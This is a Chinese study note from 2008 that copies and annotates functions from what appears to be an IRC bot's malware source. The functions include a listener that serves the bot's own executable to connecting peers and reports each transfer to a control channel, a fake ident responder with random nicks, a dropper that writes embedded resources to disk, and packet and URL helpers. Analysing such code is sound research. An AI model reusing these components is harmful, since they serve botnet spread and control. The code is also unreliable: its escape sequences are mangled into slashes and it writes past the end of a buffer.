二十、2008年04月18日
作者:青青子衿
email:[email protected]
email:[email protected]
1、char* GetFilename(char* szFilename, size_t sBufSize)函數,
在void *CSendFile::Run()函數中會被用到。
/*
This returns the filename of the executable in the filesystem
Win32: uses GetModuleFilename on the currently running module
Linux: uses /proc/<pid>/exe which is a like to the executable image
*/
/////////////////////////////////////////////////////////////////////
//
//函數功能:獲得當前文件名稱(包括路徑)
//參數: char* szFilename 保存文件名的buffer
// size_t sBufSize 的長度
//返回值: 文件名
//
//////////////////////////////////////////////////////////////////////
char* GetFilename(char* szFilename, size_t sBufSize)
{
#ifdef WIN32
GetModuleFileName(GetModuleHandle(NULL), szFilename, sBufSize);
return szFilename;
#else
//linux平臺現在不考慮
char szLinkname[64];
pid_t pSelf=getpid();
int iRet;
snprintf(szLinkname, sizeof(szLinkname), "/proc/%i/exe", pSelf);
iRet=readlink(szLinkname, szFilename, sBufSize);
if(iRet==-1)
{
return NULL;
}
if(iRet>=sBufSize)
{
errno=ERANGE;
return NULL;
}
szFilename[iRet]=0;
return szFilename;
#endif
}
2、void *CSendFile::Run() 函數
////////////////////////////////////////////////////////////////
//
//函數功能:類中具體實現發送文件的函數
//參數: 無
//返回值: void * 始終是NULL
//
//////////////////////////////////////////////////////////////////
void *CSendFile::Run()
{
int m_sListenSocket;
sockaddr_in m_lAddr;
int sClientSocket;
sockaddr_in cAddr;
socklen_t cAddrLen=sizeof(cAddr);
unsigned char fileBuf[4096];
FILE *fp=NULL;
memset(&m_lAddr, 0, sizeof(m_lAddr));
m_lAddr.sin_family=AF_INET;
m_lAddr.sin_addr.s_addr=INADDR_ANY;
m_lAddr.sin_port=htons(g_cMainCtrl.m_cBot.bot_ftrans_port.iValue);
//創建套接字
m_sListenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(m_sListenSocket==SOCKET_ERROR)
{
g_cMainCtrl.m_lCanJoin.push_back(this); //將本線程,從線程堆棧中彈出
return NULL;
}
#ifdef DBGCONSOLE
//寫入發送文件的日誌
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Binding CSendFile to port %d./n", this, g_cMainCtrl.m_cBot.bot_ftrans_port.iValue);
#endif
if(bind(m_sListenSocket, (sockaddr*)&m_lAddr, sizeof(m_lAddr))!=0)
{
//調用bind失敗,關閉套接字
xClose(m_sListenSocket);
g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}
#ifdef DBGCONSOLE
//寫入發送文件的日誌
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Listening on port %d./n", this, g_cMainCtrl.m_cBot.bot_ftrans_port.iValue);
#endif
while(g_cMainCtrl.m_bRunning)
{
if(listen(m_sListenSocket, 10)==SOCKET_ERROR)
{
Sleep(250);
continue;
}
//調用accept接收函數,
sClientSocket=accept(m_sListenSocket, (sockaddr*)&cAddr, &cAddrLen);
if(sClientSocket!=SOCKET_ERROR)
{
// Get the remote ip via getpeername
sockaddr sa;
socklen_t sas=sizeof(sa);
memset(&sa, 0, sizeof(sa));
getpeername(sClientSocket, &sa, &sas);//獲取與套接口相連的本地端地址
// Break if the ip is 0.0.0.0
if(!(unsigned char)sa.sa_data[2])
{
//如果sa.sa_data[2]等於0,執行這裏
continue;
}
//向bot控制端發送相應的bot運行狀況信息
g_cMainCtrl.m_cIRC.SendFormat(false, false, g_cMainCtrl.m_cBot.si_mainchan.sValue.Str(),
"CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#ifdef DBGCONSOLE
//將運行狀況信息寫入日誌
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted./n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
int count=4096;
CString sFileName;
GetFilename(sFileName.GetBuffer(4096), 4096); //獲得文件名稱
fp=fopen(sFileName.CStr(), "rb"); //打開該文件
if(fp)
{
#ifdef DBGCONSOLE
//寫入日誌
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Sending file.../n", this);
#endif
fseek(fp, 0, SEEK_END);
long filesize=ftell(fp); //獲得文件的長度
fseek(fp, 0, SEEK_SET);
char *filesize1=(char*)&filesize; //將保存文件長度的內存地址保存到filesize1字符串指針中
char fsbuf[4];
fsbuf[4]='/0';
fsbuf[0]=(char)filesize1[0];
fsbuf[1]=(char)filesize1[1];
fsbuf[2]=(char)filesize1[2];
fsbuf[3]=(char)filesize1[3];
xWrite(sClientSocket, (char*)fsbuf, sizeof(long)); //將文件長度發送出去。
while(count==4096)
{
memset(fileBuf, 0, sizeof(fileBuf));
count=fread(fileBuf, sizeof(char), 4096, fp); //從文件中讀取4096長度的內容。
if(ferror(fp))
{
//如果讀取失敗,跳出讀文件的循環
break;
}
xWrite(sClientSocket, (char*)fileBuf, count); //將讀取的文件內容發送出去。
}
//向bot的控制檯返回相關信息。
g_cMainCtrl.m_cIRC.SendFormat(false, false, g_cMainCtrl.m_cBot.si_mainchan.sValue.Str(),
"CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#ifdef DBGCONSOLE
//寫日誌
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished./n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
fclose(fp); //關閉文件指針
}
xClose(sClientSocket); //關閉accept函數創建的網絡套接字
}
Sleep(2500); //程序休息2.5秒
}
xClose(m_sListenSocket); //關閉socket函數創建的套接字
return NULL;
}
3、int DoTcpBind(int iPort) 函數
/////////////////////////////////////////////////////////////////
//
//函數功能:負責TCP協議的bind操作
//參數: int iPort 端口號
//返回值: 套接字的值
//
////////////////////////////////////////////////////////////////////
int DoTcpBind(int iPort)
{
int sListenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //創建套接字
if(sListenSocket==INVALID_SOCKET)
{
//如果創建失敗,程序返回SOCKET_ERROR。
return SOCKET_ERROR;
}
sockaddr_in ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET;
ssin.sin_port=htons(iPort);
ssin.sin_addr.s_addr=INADDR_ANY;
if(bind(sListenSocket, (sockaddr*)&ssin, sizeof(ssin))!=0)//調用bind函數。
{
xClose(sListenSocket);
return SOCKET_ERROR;
}
return sListenSocket; //返回創建的套接字
}
4、int DoTcpAccept(int sSocket) 函數
/////////////////////////////////////////////////////////////////
//
//函數功能:賦值TCP協議的Accept操作
//參數: int sSocket 創建的套接字
//返回值: 是有accept函數創建的新套接字
//
//
//////////////////////////////////////////////////////////////
int DoTcpAccept(int sSocket)
{
if(listen(sSocket, 10)==SOCKET_ERROR) //調用listen函數
{
return SOCKET_ERROR;
}
sockaddr_in cssin;
socklen_t clen=sizeof(cssin);
int sClientSocket=accept(sSocket, (sockaddr*)&cssin, &clen); //調用accept函數
if(sClientSocket==SOCKET_ERROR)
{
return SOCKET_ERROR;
}
return sClientSocket;
}
5、void *CIdentD::Run()函數
///////////////////////////////////////////////////////////////////////
//
//函數功能:發送以暱稱爲主的數據,具體功能還不清楚
//參數: 無
//返回值: void *
//
///////////////////////////////////////////////////////////////////////////
void *CIdentD::Run()
{
//和類的成員變量重複了,不可理解
int m_sListenSocket;
sockaddr_in m_lAddr;
int sClientSocket;
sockaddr_in cAddr;
socklen_t cAddrLen=sizeof(cAddr);
char ibuff[64];
memset(&m_lAddr, 0, sizeof(m_lAddr));
m_lAddr.sin_family=AF_INET;
m_lAddr.sin_addr.s_addr=INADDR_ANY;
m_lAddr.sin_port=htons(113); //端口113
m_sListenSocket=DoTcpBind(m_lAddr.sin_port); //調用bind函數返回套接字
if(m_sListenSocket==SOCKET_ERROR)
{
//如果創建套接字失敗。
return false;
}
#ifdef DBGCONSOLE
//寫日誌信息
g_cMainCtrl.m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Binding IdentD to port 113./n", this);
#endif
if(bind(m_sListenSocket, (sockaddr*)&m_lAddr, sizeof(m_lAddr))!=0)
{
//bind函數調用失敗
g_cMainCtrl.m_bIdentD_Running = false;
g_cMainCtrl.m_cIdentD.Kill(); //終止線程,那麼這個函數在這裏就應該結束了。
}
#ifdef DBGCONSOLE
//寫入日誌
g_cMainCtrl.m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Listening on port 113./n", this);
#endif
g_cMainCtrl.m_bIdentD_Running = true; //表示正在運行CIndent
while(!g_cMainCtrl.m_cBot.m_bJoined)
{
if(listen(m_sListenSocket, 10)==SOCKET_ERROR)
{
//調用listern函數,失敗後,休息2秒後,終止線程
Sleep(2000);
g_cMainCtrl.m_cIdentD.Kill();
}
sClientSocket=accept(m_sListenSocket, (sockaddr*)&cAddr, &cAddrLen); //調用accept函數
if(sClientSocket!=SOCKET_ERROR)
{
// Get the remote ip via getpeername
sockaddr sa;
socklen_t sas=sizeof(sa);
memset(&sa, 0, sizeof(sa));
getpeername(sClientSocket, &sa, &sas);//獲得網絡所連接的令一端的信息
// Break if the ip is 0.0.0.0
if(!(unsigned char)sa.sa_data[2])
{
continue;
}
#ifdef DBGCONSOLE
//寫入日誌
g_cMainCtrl.m_cConsDbg.Log(5, "IdentD: Connection from %d.%d.%d.%d accepted./n", this, /
(unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
srand(GetCycleCount()); //初始化一個隨機數生成器
memset(ibuff, 0, sizeof(ibuff)); //ibuff清空
sprintf(ibuff, "%d, %d : USERID : UNIX : %s/r/n", rand()%6000+1, 113, RndNick(g_cMainCtrl.m_cBot.si_nickprefix.sValue.CStr())); // build ident reply
xWrite(sClientSocket, (char*)ibuff, sizeof(ibuff)); //發送數據 // send file
xClose(sClientSocket);
}
Sleep(2500);
xClose(m_sListenSocket);
g_cMainCtrl.m_bIdentD_Running = false;
g_cMainCtrl.m_cIdentD.Kill();
}
xClose(m_sListenSocket);
return NULL;
}
6、bool WriteFile(const char *filename, int resnum, LPCTSTR lpModuleName) 函數
//////////////////////////////////////////////////////////////////////////////////
//
//函數功能:將資源中的信息,寫到文件中
//參數: const char *filename 文件名稱
// int resnum 資源的名稱,對應的標識,該對應關係在資源表中
// LPCTSTR lpModuleName 包含資源的模塊的名稱
//返回值: bool 調用成功返回true,否則返回false
//
/////////////////////////////////////////////////////////////////////////////////////
bool WriteFile(const char *filename, int resnum, LPCTSTR lpModuleName)
{
FILE *fp=fopen(filename, "wb");
if(!fp)
{
return false;
}
HMODULE hMod=GetModuleHandle(lpModuleName);
if(!hMod)
{
return false;
}
HRSRC hBinary=FindResource(hMod, MAKEINTRESOURCE(resnum), TEXT("BINRES"));
if(!hBinary)
{
return false;
}
HGLOBAL hGbDesc=LoadResource(hMod, hBinary);
DWORD dwSize=SizeofResource(hMod, hBinary);
PBYTE pData=(unsigned char*)LockResource(hGbDesc);
fwrite(pData, sizeof(unsigned char), dwSize, fp);
fclose(fp);
UnlockResource(hBinary);
return true;
}
7、unsigned long ResolveAddress(const char *szHost) 函數
/*
This turns a numeric ip or hostname into an unsigned long
*/
//////////////////////////////////////////////////////////////
//
//函數功能:將主機名或是字符串形式的IP地址轉換成DWORD形式的IP地址,
//參數: const char *szHost 保存主機名或IP的字符串
//返回值: IP地址
//
//////////////////////////////////////////////////////////////////////////
unsigned long ResolveAddress(const char *szHost)
{
unsigned long lAddr=inet_addr(szHost);
if(lAddr==INADDR_NONE)
{
hostent *pHE=gethostbyname(szHost);
if(!pHE)
{
return INADDR_NONE;
}
lAddr=*((unsigned long*)pHE->h_addr_list[0]);
}
return lAddr;
}
8、unsigned short checksum(unsigned short *buffer, int size) 函數
/*
This calculates a TCP/IP checksum
*/
//////////////////////////////////////////////////////////
//
//函數功能:計算IP協議的校驗和
//參數: unsigned short *buffer 保存數據包的buffer
// int size buffer的長度
//返回值: 最終計算出來的校驗值
//
//////////////////////////////////////////////////////////
unsigned short checksum(unsigned short *buffer, int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=2;
}
if(size)
{
cksum+=*(unsigned char*)buffer;
}
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);
return(unsigned short)(~cksum);
}
9、in_addr &to_in_addr(unsigned long lHost) 函數
/*
This returns a static in_addr with a host assigned
*/
////////////////////////////////////////////////////////////
//
//函數功能:將IP地址寫入in_addr結構體
//參數: unsigned long lHost dword類型的IP地址
//返回值: in_addr 類型的引用
//
///////////////////////////////////////////////////////////
in_addr &to_in_addr(unsigned long lHost)
{
static in_addr ina;
ina.s_addr=lHost;
return ina;
}
10、int GetFileSize(FILE *fp) 函數
///////////////////////////////////////////////////////
//
//函數功能:獲得文件長度
//參數: FILE *fp 文件指針
//返回值: int 文件的長度
//
////////////////////////////////////////////////////////
int GetFileSize(FILE *fp)
{
long lLastPos=ftell(fp);
fseek(fp, 0, SEEK_END);
long lFileSize=ftell(fp);
fseek(fp, lLastPos, SEEK_SET);
return (int)lFileSize;
}
11、bool ParseURL(const char *szURL, url *pURL) 函數
/*
This breaks an URL to pieces, and stores them in pURL
*/
//////////////////////////////////////////////////////////////
//
//函數功能:解析URL字符串
//參數: const char *szURL url字符串
// url *pURL 保存解析結果的url類型
//返回值: bool 調用成功返回true,否則返回false
//
/////////////////////////////////////////////////////////////////
bool ParseURL(const char *szURL, url *pURL)
{
if(!szURL)
{
return false;
}
CString sURL;
sURL.Assign(szURL);
// Get the protocol (ie. http), and check if its a supported protocol
pURL->sProto.Assign(sURL.Token(0, ":")); //提取字符串冒號前的協議名稱
if(pURL->sProto.Compare("http") && pURL->sProto.Compare("ftp"))
{
//如果協議名稱既不是http也不是ftp,則函數返回。
return false;
}
// Get the hostname and check if it isnt empty
//sURL.Token(1, "/").Token(0, ":")關注這句的調用是右優先級高,先找“:”字符,再找“/”
pURL->sHost.Assign(sURL.Token(1, "/").Token(0, ":"));
if(!pURL->sHost.Compare(""))
{
//提取的字符串是否是null
return false;
}
// Get the port and check if it isnt null 獲得端口
pURL->iPort=atoi(sURL.Token(1, "/").Token(1, ":").CStr());
//如果字符串中沒有端口,那麼端口爲默認端口80
if(!pURL->iPort)
{
pURL->iPort=80;
}
// Get the request for the server 推測是獲取後便的參數,在這裏靜態的分析,不如以後調試一下更有效
CString sReq=sURL.Mid(sURL.Find("/"));
sReq=sReq.Mid(sReq.Find("/"));
sReq=sReq.Mid(sReq.Find("/"));
pURL->sReq.Assign("/");
pURL->sReq.Append(sReq.Token(0, " "));
return true;
}